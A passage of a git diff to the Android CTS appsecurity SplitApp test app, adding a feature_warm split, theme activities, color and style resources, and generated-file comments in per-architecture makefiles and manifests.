+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.IntentService;
+import android.content.Intent;
+
+public class FeatureService extends IntentService {
+    public FeatureService() {
+        super("Feature1Service");
+    }
+
+    @Override
+    protected void onHandleIntent(Intent intent) {
+        // Ignored
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureActivity.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureActivity.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureActivity.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureLogic.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureLogic.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureLogic.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureLogic.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureProvider.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureProvider.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureProvider.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureR.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureR.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureR.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureR.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureReceiver.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureReceiver.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureReceiver.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureReceiver.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureService.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureService.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureService.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureService.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java
new file mode 100644
index 0000000..3cd3110
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+public class WarmThemeActivity extends ThemeActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
index e495ad3..071a7a4 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
@@ -14,6 +14,8 @@
 # limitations under the License.
 #
 
+# Caution: This file is used by NDK to generate all platform library files.
+#          Please don't change this file to Android.bp.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
@@ -23,6 +25,8 @@
 
 LOCAL_LDLIBS += -llog
 
+LOCAL_CFLAGS := -D__ANDROID_ARCH__=\"$(TARGET_ARCH_ABI)\"
+
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/Android.mk
index ba2da56..206d517 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/Android.mk
@@ -12,4 +12,6 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 include $(call all-subdir-makefiles)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
index 8eede6c..8b3451c 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/AndroidManifest.xml
index 206e207..ec56f79 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_arm64_v8a">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so
index bcc8f51..f01ba36 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
index 234a7d8..d4540b6 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/AndroidManifest.xml
index 1d19420..4e2526c 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_armeabi_v7a">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so
index 010c372..a4c05bc 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
index 0322dcd..ae679f2 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/AndroidManifest.xml
index 95fdb23..296e3b7 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_armeabi">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so
index 8977e70..8a49aaa 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
index 4ee13ba..65765b2 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/AndroidManifest.xml
index 53ea38f..a35083f 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_mips">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so
index 45b8382..19d6c39 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
index 03c4305..d1e3ce4 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/AndroidManifest.xml
index 0b75613..f21da1f 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_mips64">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so
index 8c29904..a479bce 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
index 14144a6..fab11b8 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/AndroidManifest.xml
index 4219791..4a21985 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_x86">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so
index 2993d92..3a02d26 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
index 462c1cc..b701625 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/AndroidManifest.xml
index e697d5c..0cef063 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_x86_64">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so
index 23f4169..17d2aac 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/needsplit/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/needsplit/AndroidManifest.xml
index b39e605..1828929 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/needsplit/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/needsplit/AndroidManifest.xml
@@ -15,12 +15,15 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     xmlns:tools="http://schemas.android.com/tools"
      package="com.android.cts.splitapp"
      android:targetSandboxVersion="2"
      android:isSplitRequired="true">
 
-    <uses-sdk android:minSdkVersion="4"
-         android:targetSdkVersion="27"/>
+    <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
+         to pass the build error, since tests need to use minSdkVersion 4. -->
+    <uses-sdk android:minSdkVersion="4" tools:overrideLibrary="androidx.test.runner,
+        androidx.test.rules, androidx.test.monitor" android:targetSdkVersion="27"/>
 
     <uses-permission android:name="android.permission.CAMERA"/>
     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml
new file mode 100644
index 0000000..e94b522
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/customColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml
new file mode 100644
index 0000000..cb95205
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+      https://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/content"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:background="?attr/customColor">
+
+    <TextView android:id="@+id/text"
+        android:layout_height="wrap_content"
+        android:layout_width="wrap_content"
+        android:text="@string/my_string1"
+        android:background="?android:attr/colorBackground"/>
+
+</LinearLayout>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml
new file mode 100644
index 0000000..e1961a6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- light cool colors for Theme_Base -->
+    <color name="custom_color">@color/blue_light</color>
+    <color name="navigation_bar_color">@color/teal_light</color>
+    <color name="status_bar_color">@color/aqua_light</color>
+
+    <color name="blue_light">#ffadd8e6</color>
+    <color name="teal_light">#ffe0f0f0</color>
+    <color name="aqua_light">#ffe0ffff</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml
new file mode 100644
index 0000000..ecde812
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <attr name="customColor" format="color|reference"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml
new file mode 100644
index 0000000..5cd838a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- cool colors for Theme_Base -->
+    <color name="custom_color">@color/blue</color>
+    <color name="navigation_bar_color">@color/teal</color>
+    <color name="status_bar_color">@color/aqua</color>
+
+    <color name="blue">#ff0000ff</color>
+    <color name="teal">#ff008080</color>
+    <color name="aqua">#ff00ffff</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml
new file mode 100644
index 0000000..f509892
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Base" parent="@android:style/Theme.Material">
+        <item name="customColor">@color/custom_color</item>
+        <item name="android:windowBackground">@drawable/base_color_drawable</item>
+        <item name="android:navigationBarColor">@color/navigation_bar_color</item>
+        <item name="android:statusBarColor">@color/status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml
new file mode 100644
index 0000000..41c164a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     xmlns:tools="http://schemas.android.com/tools"
+     package="com.android.cts.splitapp"
+     android:targetSandboxVersion="2">
+
+    <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
+         to pass the build error, since tests need to use minSdkVersion 4. -->
+    <uses-sdk android:minSdkVersion="4" tools:overrideLibrary=
+        "androidx.test.runner, androidx.test.rules, androidx.test.monitor"/>
+
+    <!-- Remove the CAMERA permission
+    <uses-permission android:name="android.permission.CAMERA"/> -->
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+    <!-- Add the VIBRATE permission -->
+    <uses-permission android:name="android.permission.VIBRATE"/>
+
+    <application android:label="SplitApp"
+         android:multiArch="true">
+        <!-- Updates to .revision_a.MyActivity -->
+        <activity android:name=".revision_a.MyActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
+        </activity>
+        <activity android:name=".ThemeActivity" android:theme="@style/Theme_Base"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <!-- Updates to .revision_a.MyReceiver -->
+        <receiver android:name=".revision_a.MyReceiver"
+             android:enabled="@bool/my_receiver_enabled"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.DATE_CHANGED"/>
+            </intent-filter>
+        </receiver>
+        <receiver android:name=".LockedBootReceiver"
+             android:exported="true"
+             android:directBootAware="true">
+            <intent-filter>
+                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
+            </intent-filter>
+        </receiver>
+        <receiver android:name=".BootReceiver"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.BOOT_COMPLETED"/>
+            </intent-filter>
+        </receiver>
+
